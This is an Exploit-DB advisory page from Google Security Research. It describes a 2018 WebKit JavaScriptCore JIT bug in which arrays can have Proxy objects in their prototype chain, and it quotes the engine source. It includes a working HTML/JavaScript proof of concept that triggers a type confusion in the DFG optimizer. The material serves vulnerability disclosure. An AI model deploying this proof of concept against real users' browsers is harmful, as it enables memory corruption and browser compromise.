WebKit JIT – Int32/Double Arrays can have Proxy Objects in the Prototype Chains

  • 作者: Google Security Research
    日期: 2018-12-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45984/
  • <!--
    Bug:
    void JSObject::setPrototypeDirect(VM& vm, JSValue prototype)
    {
    ASSERT(prototype);
    if (prototype.isObject())
    prototype.asCell()->didBecomePrototype();
    
    if (structure(vm)->hasMonoProto()) {
    DeferredStructureTransitionWatchpointFire deferred(vm, structure(vm));
    Structure* newStructure = Structure::changePrototypeTransition(vm, structure(vm), prototype, deferred);
    setStructure(vm, newStructure);
    } else
    putDirect(vm, knownPolyProtoOffset, prototype);
    
    if (!anyObjectInChainMayInterceptIndexedAccesses(vm))
    return;
    
    if (mayBePrototype()) {
    structure(vm)->globalObject()->haveABadTime(vm);
    return;
    }
    
    if (!hasIndexedProperties(indexingType()))
    return;
    
    if (shouldUseSlowPut(indexingType()))
    return;
    
    switchToSlowPutArrayStorage(vm);
    }
    
    JavaScriptCore doesn't allow native arrays to have Proxy objects as prototypes. If we try to set the prototype of an array to a Proxy object, it will end up calling either switchToSlowPutArrayStorage or haveABadTime in the above method. switchToSlowPutArrayStorage will transition the array to a SlowPutArrayStorage array. And haveABadTime will call switchToSlowPutArrayStorage on every object in the VM on a first call. Since subsequent calls to haveABadTime won't have any effect, with two global objects we can create an array having a Proxy object in the prototype chain. 
    
    Exploit:
    case HasIndexedProperty: {
    ArrayMode mode = node->arrayMode();
    
    switch (mode.type()) {
    case Array::Int32:
    case Array::Double:
    case Array::Contiguous:
    case Array::ArrayStorage: {
    break;
    }
    default: {
    clobberWorld();
    break;
    }
    }
    setNonCellTypeForNode(node, SpecBoolean);
    break;
    }
    
    From: https://github.com/WebKit/webkit/blob/9ca43a5d4bd8ff63ee7293cac8748d564bd7fbbd/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L3481
    
    The above routine is based on the assumption that if the input array is a native array, it can't intercept indexed accesses therefore it will have no side effects. But actually we can create such arrays which break that assumption making it exploitable.
    
    PoC:
    -->
    
    <body>
    <script>
    
    function opt(arr, arr2) {
    arr[1] = 1.1;
    
    let tmp = 0 in arr2;
    
    arr[0] = 2.3023e-320;
    
    return tmp;
    }
    
    function main() {
    let o = document.body.appendChild(document.createElement('iframe')).contentWindow;
    
    // haveABadTime
    o.eval(`
    let p = new Proxy({}, {});
    let a = {__proto__: {}};
    a.__proto__.__proto__ = p;
    `);
    
    let arr = [1.1, 2.2];
    let arr2 = [1.1, 2.2];
    
    let proto = new o.Object();
    let handler = {};
    
    arr2.__proto__ = proto;
    proto.__proto__ = new Proxy({}, {
    has() {
    arr[0] = {};
    
    return true;
    }
    });
    
    for (let i = 0; i < 10000; i++) {
    opt(arr, arr2);
    }
    
    setTimeout(() => {
    delete arr2[0];
    
    opt(arr, arr2);
    
    alert(arr[0]);
    }, 500);
    }
    
    main();
    
    </script>
    </body>